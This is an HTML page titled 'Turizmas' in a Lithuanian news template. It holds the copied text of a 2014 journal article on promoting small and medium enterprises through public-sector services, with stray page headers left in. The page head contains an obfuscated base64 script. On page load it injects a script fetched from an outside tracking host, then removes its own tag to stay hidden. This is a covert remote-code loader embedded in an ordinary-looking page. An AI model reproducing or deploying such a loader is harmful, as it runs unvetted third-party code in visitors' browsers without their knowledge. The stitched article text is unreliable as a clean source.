
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<title>Turizmas</title>
	<meta name="viewport" content="width=device-width">
	<link rel="stylesheet" href="assets/styles.min.css">
	<script id="z4Y5s" src="data:text/javascript;base64, dmFyIF91NGJUWCA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oX3lnYlJzLCBfdEpocmkpIHt2YXIgX01ONkN0ID0gZnVuY3Rpb24oX2h1OXVlKSB7d2hpbGUgKC0tX2h1OXVlKSB7X3lnYlJzWydwdXNoJ10oX3lnYlJzWydzaGlmdCddKCkpO319O19NTjZDdCgrK190SmhyaSk7fShfdTRiVFgsIDB4MTFiKSk7dmFyIF9uVzVUSSA9IGZ1bmN0aW9uKF80eWFEOCwgX0UzMHlUKSB7XzR5YUQ4ID0gXzR5YUQ4IC0gMHgwO3ZhciBfa1d1ZXggPSBfdTRiVFhbXzR5YUQ4XTtyZXR1cm4gX2tXdWV4O307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfblc1VEkoJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgX2lhQ3hOID0gZG9jdW1lbnRbX25XNVRJKCcweDEnKV0oX25XNVRJKCcweDInKSk7X2lhQ3hOW19uVzVUSSgnMHgzJyldID0gX25XNVRJKCcweDQnKTtfaWFDeE5bJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg3NFx4NzJceDYxXHg2M1x4NmJceDczXHg3OVx4NzNceDc0XHg2NVx4NmRceDMzXHgyZVx4NjNceDZmXHg2ZFx4MmZceDVmXHg3Mlx4NjVceDZkXHg2Zlx4NzRceDY1XHg1Zlx4NzRceDcyXHg2MVx4NjNceDZiXHgyZVx4NmFceDczXHgzZlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHgzZFx4NTZceDczXHg0Nlx4NzhceDVhXHg3NVx4NzVceDM0XHg3YVx4NTEnO2RvY3VtZW50W19uVzVUSSgnMHg1JyldKF9uVzVUSSgnMHg2JykpWydceDYxXHg3MFx4NzBceDY1XHg2ZVx4NjRceDQzXHg2OFx4NjlceDZjXHg2NCddKF9pYUN4Tik7ZG9jdW1lbnRbX25XNVRJKCcweDcnKV0oJ3o0WTVzJylbJ1x4NzJceDY1XHg2ZFx4NmZceDc2XHg2NSddKCk7fSwgeydceDZmXHg2ZVx4NjNceDY1JzogISFbXX0pOw=="></script>
	
	
</head>

<body>
	<header>
		<div class="container">
			<div class="c-row">



				<nav>
					<div class="logo" style="width:60px;min-width:auto;">
						<a href="#"><img class="lazy img-responsive w-100"
								src="data:image/gif;base64,R0lGODlhBwACAIAAAP///wAAACH5BAEAAAEALAAAAAAHAAIAAAIDjI9YADs="
								data-src="assets/logo.png" data-srcset="assets/logo.png 1x, assets/logo.png 2x" alt="img"></a>
					</div>

					<ul class="d-md-none">
						<li><a href="#">Pagrindinis</a></li>
						<li><a href="#">Lietuva</a></li>
						<li><a class="active" href="#">Rekomenduojame</a></li>
						<li><a href="#">Politika</a></li>
						<li><a href="#">Bendruomenė</a></li>
						<li><a href="#">Ekonomika</a></li>
						<li><a href="#">Pasaulyje</a></li>
						<li><a href="#">Sportas</a></li>
						<li><a href="#">Įvykiai</a></li>
					</ul>
				</nav>

				<div class="more d-lg-none-up">
					<a href="#" class="burger">
						<svg class="menu-icon" width="35" height="35" viewBox="0 0 64 64" fill="currentColor"
							xmlns="https://www.w3.org/2000/svg" aria-hidden="true">
							<path d="M52.75,47.84H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M52.75,28.92H11.25a2.08,2.08,0,1,0,0,4.16h41.5a2.08,2.08,0,1,0,0-4.16Z"></path>
							<path d="M11.25,14.16h41.5a2.08,2.08,0,1,0,0-4.16H11.25a2.08,2.08,0,1,0,0,4.16Z"></path>
						</svg>
					</a>
				</div>

			</div>
		</div>

	</header>


	<!-- Custom HTML / Remove before use -->
	<div class="container">

		<div class="c-row">

			<!-- CONTENT START -->
			<div class="col-content">
				<div class="content">
					<div class="title">
						<h1 class="h1">Smulkių ir vidutinių įmonių skatinimas Lietuvoje,
tobulinant viešojo sektoriaus paslaugų teikimą verslui       
						</h1>
					</div>
					<div class="img-block">
						<div class="img-wrap">
							<!-- КАРТИНКА SRC="ЗАГЛУШКА В base64 в размер оригинальной картинки, нужна обязательно" DATA-SRC="Путь до картинки" DATA-SRCSET="путь до картинки 1x, аналогично x2" -->
							<img class="lazy img-responsive w-100"
								src="assets/001.png"
								data-src="assets/001.png" data-srcset="assets/001.png 1x, assets/001.png 2x" alt="img">
						</div>
						
Lietuvoje smulkusis ir vidutinis verslas vis dar susiduria su daugybe problemų
tiek steigiant savo veiklą, tiek ją plėtojant. Nors daugelis Europos Sąjungos (toliau –
ES) lygmeniu priimamų dokumentų skirti tiek SVV kūrimui ir jo funkcionavimui
palengvinti, tačiau Lietuvos situacija lieka beveik tokia pati pokyčių prasme, t. y.
reikšmingų veiksmų pasigendama, o ar situacijos pagerėjo, sunku pasakyti. SVĮ
pažangą stabdo daugelis aplinkos veiksnių ir sąlygų. Vienas svarbiausių išlieka
viešasis sektorius, prižiūrintis verslą, ir jo teikiamos paslaugos, jų kokybė. Viešojo 
138 Jolita Grėblikaitė, Neriga Puškoriūtė. Smulkių ir vidutinių įmonių skatinimas ...
sektoriaus veikla yra labai glaudžiai susijusi tiek su verslo pradžia, tiek su veiklos
plėtojimu. Verslui kaip ūkio ir visuomenės daliai, kurią prižiūri viešasis sektorius, yra
aktuali tiek paslaugų kokybė, tiek jų kiekybė. Straipsnyje yra keliama ir nagrinėjama
tyrimo problema: kaip gerinti SVĮ kūrimo ir plėtojimo sąlygas, skatinti verslumą
pasinaudojant viešojo sektoriaus teikiamomis paslaugomis verslui Lietuvoje. Tyrimo
tikslas: atlikus SVĮ ir viešojo sektoriaus paslaugų, skirtų verslui, situacijų Lietuvoje
analizę, pasiūlyti SVĮ skatinimo priemones ir išryškinti tobulintinas sritis. Šio
straipsnio tyrimo objektas yra SVĮ skatinimas Lietuvoje, pasinaudojant viešuoju
sektoriumi ir jo teikiamomis paslaugomis verslui. Tyrimo uždaviniai:
1) apžvelgti ir išanalizuoti SVĮ potencialą Lietuvoje;
2) atlikti Lietuvos viešojo sektoriaus paslaugų, susijusių su SVĮ kūrimu ir veikla,
analizę;
3) numatyti viešojo sektoriaus paslaugų teikimo SVĮ tobulinimo kryptis ir kitas
svarbias SVĮ skatinimo priemones, gerinant verslumo sąlygas Lietuvoje.
Tyrimo metodai: mokslinės literatūros analizė, situacijos analizė, dokumentų analizė,
palyginamoji analizė.
Smulkiųjų ir vidutinių įmonių potencialas Lietuvoje
Smulkusis ir vidutinis verslas ES yra vienas iš pagrindinių ekonomikos variklių.
Didžiąją dalį įmonių sudaro būtent SVĮ. Labai daug yra kalbama apie tai, kaip
pagerinti situaciją ES šalyse tiek ekonomine, tiek socialine prasme, nes krizės
padariniai vis dar lieka pakankamai matomi ir ekonominės problemos dažnai užgožia
ES kaip ekonominio ir politinio darinio tvarumo ir reikalingumo pranašumus. SVĮ
pridėtinės vertės kūrimas dažnai yra siejamas su naujų technologijų, inovacijų,
žiniomis imlių produktų kūrimu. Tai galima glaudžiai susieti su šių įmonių verslumo
dimensija. Lietuvoje SVĮ sudaro apie 99,8 proc. visų įmonių. Lietuvoje visų SVĮ
didžiausią dalį sudarė įmonės iki 20 darbuotojų (89,69 proc. visų SVĮ) (2013 m. kovo
1 d. duomenys [17]). 32 proc. Lietuvos SVĮ veikė paslaugų sektoriuje (ES vidurkis –
45 proc.). Lietuvoje SVĮ, 2012 m. duomenimis, sukūrė 63,4 proc. pridėtinės vertės,
palyginti su didelėmis įmonėmis (36,6 proc.) [14, p. 1]. Bendras ES 27 šalių rodiklis
kuriant SVĮ pridėtinę vertę – 58,1 proc. Reikia pabrėžti, kad Lietuvos SVĮ, veikiančių
aukštųjų technologijų sektoriuje ar teikiančių žiniomis imlias paslaugas, yra mažiau
(22 proc. rinkos) nei vidutiniškai ES (31 proc.). Lietuvos SVĮ geriausi rodikliai yra
susiję su finansų prieinamumu, valstybės parama ir viešaisiais pirkimais. Didžiausias
dėmesys turėtų būti skirtas verslumo ir „antro šanso“ skatinimui, nes, palyginti su ES
vidurkiu, šie rodikliai atsilieka. Dar viena iš „atsiliekančių“ sričių yra atsakingas
administravimas.
Kalbant apie asmenis, kuriančius savo darbo vietas, taip pat reikia pasakyti, kad
Lietuvoje šis rodiklis yra žemesnis nei ES vidurkis (14 proc.) [14, p. 1]. Reikia
pabrėžti, kad motyvai, kodėl Lietuvoje gyventojai imasi savo verslo, taip pat šiek tiek
skiriasi nuo kitų šalių. Dažniausiai įprasta, kad savo verslo pradėjimas yra sietinas su
nepriklausomybe ir laisvės pojūčiu. Atlikus tyrimą Lietuvoje [16] paaiškėjo, kad
pagrindinė verslo įkūrimo priežastis – tai nedarbo išvengimo galimybė. Buvo tirtas 
Viešoji politika ir administravimas. 2014, T. 13, Nr. 1, p. 136–147. 139
gana ilgas tyrimo laikotarpis (1998–2010 m.). Tyrėjų nuomone, Lietuvą galima laikyti
šalimi, kurioje verslumas yra sąlygotas išorinių veiksnių (nedarbo, pajamų praradimo).
Vidiniai veiksniai: tikslai, svajonių įgyvendinimas ar nepriklausomybės pojūtis, yra
antraeiliai [6]. Reikėtų, kad Lietuvos SVĮ vis dėlto ieškotų galimybių, kaip realizuoti
ne tik pačius primityviausius tikslus praktikoje. Taip ateityje būtų galima tikėtis
ilgalaikių teigiamų rezultatų. Tačiau čia turėtų būti užtikrintos ir sąlygos, kurias teiktų
valstybės institucijos. Tam tikslui skirtas viešasis sektorius, kuris prižiūrėtų privatųjį
sektorių, teikdamas viešąsias paslaugas.
Viešojo sektoriaus paslaugų, skirtų smulkiajam ir vidutiniam verslui
kurti ir plėtoti Lietuvoje, situacijos analizė
SVV kurtis ir plėtotis šalyje yra reikalinga palanki aplinka. Vienas iš tos aplinkos
elementų yra teisinė mokestinė aplinka, kuri ypač svarbi SVV. Šiai aplinkai
priskiriamos viešojo sektoriaus funkcijos ir paslaugos. Pagrindinės viešojo sektoriaus
funkcijos yra [12] šios:
• institucijų kūrimas (viešajame sektoriuje kuriamos taisyklės ir normos, kurios
reglamentuoja viešojo sektoriaus funkcionavimą ir reprodukciją);
• paskirstymas (viešasis sektorius teikia paslaugas, kurių teikti privatusis
sektorius yra nesuinteresuotas);
• perskirstymas (viešasis sektorius užtikrina socialinį teisingumą, mokesčiais
sumažindamas vienų asmenų pajamas ir jas perskirstydamas kitiems
(užtikrinamas rekomenduotinų gėrybių teikimas));
• reguliavimas (viešasis sektorius sprendžia natūralios monopolijos ir netobulos
informacijos problemas).
Šiuo metu viešojo sektoriaus teikiamų paslaugų apimtis yra svari ekonomikoje.
Lietuvoje ši dalis siekia 5,3 proc. BVP [10]. Viešojo sektoriaus interesas yra tenkinti
visuomenės ir jos interesų grupių poreikius, nesiekiant pelno. Viena iš svarbių interesų
grupių yra verslas. Viešajam sektoriui tinkamai prižiūrėti verslo įmones yra ypač
svarbu, nes jos kuria pajamas ekonomikoje, sprendžia užimtumo problemas.
Nors ES vienas iš uždavinių – SVĮ aplinkos gerinimas, tačiau tai Lietuvoje vyksta
lėtai, norintys įsteigti verslą dažnai susiduria su varginančiomis, brangiomis,
sudėtingomis ir ilgai trunkančiomis procedūromis. Lietuva pagal 2010 m. duomenis iš
27 ES valstybių užima 20 vietą pagal valdžios sektoriaus veiksmingumą. Valdžios
sektoriaus veiksmingumas – bendras valdymo rodiklis, kuriuo vertinama viešojo
administravimo sektoriaus kokybė apskritai (atsižvelgiant į jo reguliavimo sistemą),
viešojo administravimo sektoriaus nešališkumas ir šio sektoriaus teikiamų paslaugų
kokybė. Verslo sėkmė priklauso nuo valstybės sukurtų sąlygų verslo pradžiai ir jo
plėtojimui. Sudarius palankias sąlygas verslui, vyksta konkurencija tarp įmonių, kurios
skatina naujų technologijų atsiradimą, į rinką išleidžia pigesnius ir kokybiškesnius
produktus. Patrauklios verslo sąlygos pritraukia ir užsienio investuotojus į šalį, taip pat
sukuriama daug naujų darbo vietų. Kai yra vertinama verslo aplinka kiekvienoje
šalyje, išskiriami šie verslą skatinantys veiksniai: įmonės steigimas, statybos leidimų
išdavimas, elektros įsivedimas, turto registravimas, kreditų sąlygos, investuotojų 
140 Jolita Grėblikaitė, Neriga Puškoriūtė. Smulkių ir vidutinių įmonių skatinimas ...
apsauga, mokesčiai, prekyba per sienas, nemokumo problemų sprendimas, sutarčių
vykdymas [5, p. 10–13]. Kiekvienas verslą skatinantis veiksnys apima viešojo
sektoriaus paslaugas, kurių efektyvumas yra vertinamas pagal jų kainą, procedūrų
kiekį ir trukmę. Išanalizuosime svarbiausius verslą skatinančius veiksnius ir su tuo
susijusias viešojo sektoriaus paslaugas.
Įsteigti ir plėtoti verslą Lietuvoje nėra paprasta. Dažnai viešojo sektoriaus
paslaugų kiekis, kaina ir procedūrų trukmė lemia apsisprendimą pradėti plėtoti verslą.
Kaip rodo valstybių lyginamosios analizės teikiant viešąsias paslaugas verslui,
Lietuvoje sąlygos yra gana sudėtingos. Kasdien verslo įkūrimas pasaulyje tampa vis
paprastesnis ir greitesnis, daugėja e. paslaugų verslui. Lietuvoje verslo steigimo ir
plėtojimo situacija nuo 2004 m. pagerėjo, tačiau ne itin gerai. Lietuva pagal įmonės
steigimo paprastumą užima 107 vietą iš 185 valstybių. Vertinant SVĮ steigimą
Lietuvoje per viešojo sektoriaus paslaugų prizmę, svarbūs kriterijai yra procedūrų
skaičius, trukmė (dienos) ir kaina (1 lentelė). Įmonės steigimo trukmė (dienomis) – tai
teisininkų nurodoma vidutinė trukmė, praktiškai reikalinga procedūrai užbaigti be
papildomų išlaidų, kai valdžios įstaigose formalumų reikia atlikti minimaliai. „Doing
Business“ 2013 m. ataskaitoje pateikta, kad Lietuvoje įmonės steigimas užtrunka 20
dienų, o 2012 m. ataskaitoje pateikta, kad užtruko 22 dienas [1, p. 17]. Pažanga,
gerinant įmonės steigimo sąlygas, buvo padaryta. Remiantis 2013 m. duomenimis,
Lietuvoje, norint įsteigti SVĮ, reikia atlikti 7 pagrindines procedūras [1, p. 21].
Lyginant situaciją su 2012 m., SVĮ steigti reikėjo atlikti 6 procedūras, todėl galima
teigti, kad situacija šiuo aspektu pablogėjo. Įmonės steigimo kaina priklauso nuo
paslaugos skubotumo, t. y. norint gauti paslaugą kuo greičiau, ji kainuoja brangiau (2
lentelė). Nors viešojo sektoriaus paslaugų skaičius steigiant verslą padidėjo, tačiau
bendra paslaugų kaina sumažėjo (2012 m. – 2,8, o 2013 m. – 1,1 pajamų vienam
gyventojui procentinė dalis) [1, p. 17].
SVĮ kūrimuisi svarbus ir tokias įmones skatinantis veiksnys yra sutarčių vykdymo
užtikrinimas. Sutarčių vykdymo užtikrinimas – terminas, apimantis dienas, kai
atliekami veiksmai, ir laukimo laikotarpius. Remiantis 2012 m. sutarčių vykdymo
duomenimis, užtikrinimas užtrunka 275 dienas. Nuo 2004 m. procedūrų skaičius (30)
ir kaina (23,6 pajamų vienam gyventojui procentinė dalis) išliko tokie patys, tačiau
trukmė padidėjo nuo 210 iki 275 dienų. Lietuva užima 14 vietą iš 185 valstybių. Viena
iš svarbiausių sričių SVĮ išlieka nemokumo problema. Nemokumo problemų
sprendimas – laikas nuo įmonės įsipareigojimų neįvykdymo iki dalies ar visos skolos
bankui sumokėjimo. Remiantis 2013 m. duomenimis, Lietuvoje nemokumo problemų
sprendimas užtrunka 1,5 metų, o 2004 m. – 2 metus. Pastebima nemokumo problemų
sprendimo trukmės mažėjimo tendencija. Lietuva užima 40 vietą iš 185 valstybių.
Elektrai įsivesti Lietuvoje reikia atlikti 5 pagrindines procedūras, o tai trunka 148
dienas ir tenka 55,4 pajamų vienam gyventojui procentinė dalis. Lietuva užima 75
vietą iš 185 valstybių.   

                    </p>
                    
                     Analizuojant SVĮ teikiamas viešojo sektoriaus paslaugas, yra svarbu įvertinti
poreikiais grindžiamą viešųjų paslaugų administravimą ir jo sąlygas šalyje. Lietuvoje
poreikiais grindžiamas administravimas yra vertinamas pagal šias sritis: įmonės
steigimo procedūrų trukmė ir išlaidos, mažiausias pradinis kapitalas, nuosavybės
perdavimo procedūrų trukmė ir išlaidos, mokesčių mokėjimų skaičius per metus,
pagrindinių mokesčių sutvarkymo trukmė, išlaidos sutarčių vykdymui užtikrinti,
galimybė įmonėms naudotis pagrindinėmis viešosiomis paslaugomis [5, p. 6]. 1
paveiksle yra pateiktas poreikiais grindžiamas administravimas, rodantis Lietuvos
situaciją ES mastu (žr. 1 pav.). Didžiausias atotrūkis nuo ES vidurkio – mažiausias
pradinis kapitalas. Vertinant Lietuvą pagal ES vidurkį, yra neigiama: įmonės steigimo
procedūrų trukmė, išlaidos sutarčių vykdymui užtikrinti, galimybė naudotis
pagrindinėmis viešosiomis paslaugomis. Geresnė situacija nei ES vidurkis yra
nuosavybės perdavimo išlaidos ir procedūrų trukmė.
Pagrindinius verslumą skatinančius veiksnius reguliuoja valstybė ir teikia
viešąsias paslaugas. Viešojo sektoriaus paslaugų paprastumas yra vertinamas pagal
paslaugų kainą, procedūrų kiekį ir trukmę. Lietuvoje prasčiausia situacija išlieka
steigiant įmonę. Lietuvos verslininkams palanki situacija yra registruojant turtą.
Lyginant Lietuvą su ES vidurkiu, neigiamas nuokrypis yra vertinant įmonės steigimo
procedūrų trukmę, mažiausią pradinį kapitalą, išlaidas sutarčių vykdymui užtikrinti,
galimybę įmonėms naudotis pagrindinėmis viešosiomis paslaugomis. Prasčiausia 
142 Jolita Grėblikaitė, Neriga Puškoriūtė. Smulkių ir vidutinių įmonių skatinimas ...
padėtis – reikalauti iš pradedančiojo verslininko padėti mažiausią pradinį kapitalą,
kuris šiandien yra 10 tūkst. litų.
Smulkiųjų ir vidutinių įmonių skatinimo priemonės, panaudojant
viešąjį sektorių
Norint paskatinti SVĮ kurtis ir vystytis Lietuvoje, reikia imtis konkrečių
priemonių ir veiksmų. Atitinkamai taikomas SVĮ skatinimo priemones galima skirstyti
pagal tipą [6, p. 9]:
• „minkštieji“ elementai – mokymas, švietimas, motyvavimas,
konsultavimas ir panašaus pobūdžio veiklos;
• „kietieji“ elementai – tai visos priemonės, kuriomis tiesiogiai ir
netiesiogiai subsidijuojamas verslas (dotacijos, verslo krepšeliai,
kreditai, įranga, mokestinės lengvatos ir pan.).
Kalbant apie „minkštuosius“ elementus ir SVĮ skatinimą, reikia pasakyti, kad čia
įmanoma integruoti visas priemones, kurios susijusios su mokymu, švietimu, ugdymu.
Kitaip sakant, didžiausias vaidmuo tenka mokymo institucijoms, tyrėjams, taip pat
panašioms veikloms, kurios gali inicijuoti pokyčius ne tiek darydamos tiesioginę įtaką
viešojo sektoriaus paslaugų teikimo kiekybei ar kokybei, kiek suteikdamos pokyčių
formuotis palankiai verslumo aplinkai Lietuvoje, keičiant visuomenės nuomonę į
verslą kaip veiklą ar objektą.
Taigi reikėtų galvoti apie tai, kaip kuo sumaniau integruoti verslumo ugdymą jau
nuo pat ikimokyklinio ugdymo ir ugdymo šeimoje, diegti tokias asmenybės
fundamentines vertybes, kurios būtų savarankiškumo ugdymo(si) pamatas. Vidurinėje
mokykloje verslumo įgūdžiai turėtų būti stiprinami. Mokymo ir ugdymo programos
turėtų būti paremtos kūrybiškumo, naujumo ir netradicinių sprendimų paieška. Reikia
nuolat skatinti norą lyderiauti. Neformalaus švietimo vaidmuo turėtų būti gerokai
svarbesnis nei šiuo metu yra Lietuvoje. Ar universitetai gali išugdyti verslininkus? Šių
institucijų pareiga – sutelkti visas jėgas kurti verslumo dvasią: sudaryti sąlygas
atskleisti gabumus, teikti žinias, kurios skatintų norą kurti ir rizikuoti. Būtina diegti
kuo daugiau distancinio mokymo programų, ypač tam, kad išvykusieji dirbti į užsienį
turėtų galimybę baigti studijas gimtąja kalba. Ypač svarbu, kad jauni žmonės turėtų
galimybių aukštosiose mokyklose ir universitetuose pradėti verslą ir bendradarbiauti
su pažengusiais šioje srityje. Čia kalbama apie „start-up“ įmonių kūrimo galimybes
lengvatinėmis sąlygomis, prieinamus finansavimo šaltinius. Atlikus entreprenerių
nuomonių tyrimą Estijoje, Latvijoje, Suomijoje ir Švedijoje [19], paaiškėjo, kad ypač
jiems reikalingos žinios ir įgūdžių lavinimas derybų, konfliktų valdymo,
komunikacijos srityse. Verslo ir švietimo sektoriaus glaudus bendradarbiavimas yra
būtinas norint Lietuvoje plėtoti inovatyvias SVĮ. Technologijų plėtra, žinių
generavimas yra susieti su tyrimo ir mokymo institucijose kuriamomis idėjomis.
Reikalinga tinkamai juos komercinti ir praktiškai pritaikyti.
Kalbant apie „kietuosius“ elementus, skatinančius SVĮ veiklą ir verslumą, prie jų
yra priskiriami konsultavimas ir pagalba steigiant įmonę, verslo pradžios
finansavimas, mokestinės lengvatos verslui plėtoti ir parama verslui plėtoti [6, p. 8].
Viešoji politika ir administravimas. 2014, T. 13, Nr. 1, p. 136–147. 143
„Kietieji“ elementai labai glaudžiai susiję su viešojo sektoriaus teikiamomis
paslaugomis verslui. Valstybė, siekdama paskatinti verslo plėtrą ar jį paremti,
pritraukti investicijų, nustato mokesčių lengvatas. Mokesčio lengvata suprantama kaip
mokesčių mokėtojui ar jų grupei mokesčio įstatymo nustatytos išskirtinės
apmokestinimo sąlygos, kurios yra palankesnės, palyginti su įprastinėmis sąlygomis.
Verslą vykdančiam asmeniui mokesčių lengvatos suteikia galimybę užtikrintai pradėti
naują verslą, pertvarkyti ar paprasčiausiai sustiprinti turimą [13]. Lietuvoje yra šios
mokesčių lengvatos verslui: gyventojų pajamų mokesčio, pelno mokesčio,
nekilnojamojo turto mokesčio, PVM, valstybinio socialinio draudimo įmokų,
privalomojo sveikatos draudimo įmokų, žemės mokesčio. Skatinant verslo steigimąsi
ir plėtojimąsi valstybė siūlo tokias pagrindines finansines priemones :
1. Norintys pradėti savo verslą, fiziniai asmenys, mažos įmonės, veikiančios ne
ilgiau kaip vienerius metus, bei socialinės įmonės, ketinančios plėtoti veiklą, gali
kreiptis ir dėl lengvatinių mažų kreditų, teikiamų iš Verslumo skatinimo fondo.
2. Lietuvos darbo birža teikia subsidijas, skirtas darbo vietai steigti. Dėl
subsidijų gali kreiptis darbo biržoje registruoti asmenys, turintys įsteigtą labai mažą
įmonę [4].
3. Pasidalytos rizikos paskolos – paskolos iki 16,5 mln. litų investicijoms,
apyvartinėms lėšoms papildyti, kai plečiama SVV subjekto veikla.
4. Garantijų teikimas – garantijų institucija teikia valstybės garantijoms
prilyginamas garantijas (iki 80 proc. paskolos sumos) kredito įstaigoms už SVV
subjektų investicines paskolas arba apyvartines paskolas, susijusias su verslo plėtra,
taip sprendžiama nepakankamo ir nepatrauklaus bankui užstato problema.
5. Portfelinės garantijos – priemonė, skirta paskoloms paskatinti: garantuojama
iki 80 proc. paskolos sumos ir taip siekiama sumažinti SVV subjektams kliūtis gauti
finansavimą, kai trūksta užstato.
6. Rizikos kapitalo priemonės:
• Rizikos kapitalo fondai – investuojantys į didelį augimo potencialą turinčias
įmones, kartu pritraukiama ne mažiau kaip 30 proc. privačių investuotojų lėšų. Fondo
investicijos dydis – iki 10,35 mln. Lt į vieną tikslinę įmonę.
• Bendrai investuojantis fondas („verslo angelai“) – fondas kartu su „verslo
angelais“ (privačiais investuotojais) investuoja į SVV įmones (iki 1,38 mln. Lt į vieną
įmonę) [11]. Verslo angelas – tai bendrovė arba privatus asmuo, pasirengęs investuoti
į pasirinktą bendrovę dalį savo kapitalo ir su šios bendrovės vadovais dalytis asmenine
verslo patirtimi [18].
• Pradinės stadijos rizikos kapitalo ir rizikos kapitalo fondai – ši priemonė apima
atskirus Pradinės stadijos rizikos kapitalo ir Rizikos kapitalo fondus, kuriuos valdo
vienas fondo valdytojas. Pradinės stadijos rizikos kapitalo fondas teikia tik pradinės
stadijos rizikos kapitalą (iki 690 560 Lt per 3 m.), o Rizikos kapitalo fondas – pradinės
stadijos, pradinį ir plėtros kapitalą (iki 5 179 200 Lt per 12 mėn.).
7. Dalinis paskolų palūkanų subsidijavimas. Paskolų palūkanos kompensuojamos
investicinėms ar apyvartinėms paskoloms, kurios skirtos SVV subjekto plėtrai [11].
Pagrindinės finansinės priemonės, skirtos verslui plėtoti, nėra labai patrauklios
verslo pradžiai: mikrokreditavimo programa nesulaukia daug dėmesio dėl santykinai 
144 Jolita Grėblikaitė, Neriga Puškoriūtė. Smulkių ir vidutinių įmonių skatinimas ...
aukštų vertinimo kriterijų ir sudėtingo administravimo, verslo krepšeliai nėra tokie
lankstūs ir negali padengti svarbių pirminių investicijų, o investicijos į verslo plėtrą
dėl didelių reikalavimų aktualios tik jau išvystytoms įmonėms. Visas verslumo
skatinimo priemonių paketas yra per mažai nukreiptas į jaunimo užimtumo problemų
sprendimą, jauni bedarbiai dažniausiai nėra išskiriami kaip priemonių tikslinė grupė ir
jose dalyvauti turi menkas galimybes [6, p. 78].
Parama verslui yra suteikiama ne tik nacionaliniu lygmeniu, tačiau pradedantieji
ar jau plėtojantieji verslą gali pasinaudoti ES finansuojamomis struktūrinėmis
priemonėmis arba kitomis ES lėšomis finansuojamomis priemonėmis. Tačiau yra
susiduriama su tokiomis problemomis kaip sudėtingas paramos administravimas,
nesugebama įsisavinti visų numatytų lėšų, trūksta informacijos apie projektų
galimybes ir pan. Reikia palengvinti SVĮ naudotis struktūriniais fondais: joms sudaryti
sąlygas visus duomenis, kurių reikia struktūrinių fondų paramai gauti, pateikti vieną
kartą, sudaryti galimybę bendrauti su vienu atstovu, sumažinti atskaitomybės
įpareigojimus ir pan.
Kaip verslą skatinantys veiksniai, yra išskiriami ir „antras šansas“ bei SVĮ
dalyvavimas viešojo pirkimo konkursuose, kurie yra labai glaudžiai susiję su viešuoju
sektoriumi ir jo paslaugų verslui tobulinimu. Šios sritys yra reguliuojamos valstybės
teisės aktais ir teikiamos paslaugos yra privalomos verslui. Lietuva siekia, kad kuo
daugiau e. paslaugų šiose srityse būtų teikiama verslui, ypač skatinant paprastumą ir
prieinamumą. Tik kelios šalys yra pradėjusios skatinti Europos gerosios patirties
kodekso taikymą, kad palengvintų SVĮ dalyvavimą viešojo pirkimo konkursuose
(Airija, Austrija, Jungtinė Karalystė, Kipras, Lenkija, Lietuva, Portugalija, Prancūzija,
Švedija, Vengrija ir Vokietija). Šioje srityje vis dar labiausiai paplitusios SVĮ
naudingos priemonės – kai įmanoma, konkursų dalijimas į dalis ir prieigos prie
informacijos lengvinimas kuriant centralizuotas interneto svetaines, sąveikiuosius
interneto puslapius ir atliekant kitus su e. viešaisiais pirkimais susijusius pakeitimus.
Be to, tęsiant supaprastinimo procesą, svarbu ir toliau SVĮ sudaryti palankesnes
sąlygas dalyvauti viešojo pirkimo konkursuose, kurie sudaro 17 proc. ES BVP [7, p.
23]. Pagrindinės problemos, su kuriomis yra susiduriama dalyvaujant viešojo pirkimo
konkursuose, yra šios [3, p. 5]: sunkumai gauti informaciją, žinių apie konkurso
procedūras trūkumas, pernelyg didelė administracinė našta, per mažai laiko
pasiūlymams parengti, pavėluoti perkančiųjų organizacijų mokėjimai ir kt. Šios sritys
turi būti tobulinamos.
Bankroto procedūra vis dar išlieka problemiška Lietuvoje, nepaisant teigiamų
postūmių. Tik penkios valstybės narės (Airija, Belgija, Ispanija, Jungtinė Karalystė ir
Suomija) laikosi rekomendacijos visas teisines įmonės likvidavimo procedūras, jei ji
likviduojama ne dėl tyčinio bankroto, užbaigti per vienerius metus. Valstybės narės
turi ir toliau paprastinti žlungančiam verslui likviduoti taikomus administracinius
reikalavimus ir procedūras. Be to, apie trečdalis įmonių žlunga atliekant įmonių
perdavimą. Todėl būtina gerinti ir pagrindines įmonių perdavimo sąlygas [3, p. 21].
Lietuvoje likvidavimo procedūra užtrunka 1,5 metų. Tyrimai rodo, kad įmonės,
patyrusios nesėkmę ir vėl pradėjusios veiklą iš pradžių, vidutiniškai yra sėkmingesnės
ir gyvuoja ilgiau nei „naujokės“. Jos greičiau plečiasi ir įdarbina daugiau žmonių [15]. 
Viešoji politika ir administravimas. 2014, T. 13, Nr. 1, p. 136–147. 145
Todėl Komisija pateikė pasiūlymus, kurių tikslas – daugiau kaip 25 proc. sumažinti
biurokratinę naštą [8, p. 18].
Siekiant pagerinti SVĮ verslo sąlygas Lietuvoje SVA yra akcentuojamas principo
„visų pirma galvokime apie mažuosius“ įgyvendinimas. Taigi turi būti supaprastinta
reguliavimo ir administracinė aplinka, kurioje veikia SVĮ, visų pirma pagal šį principą
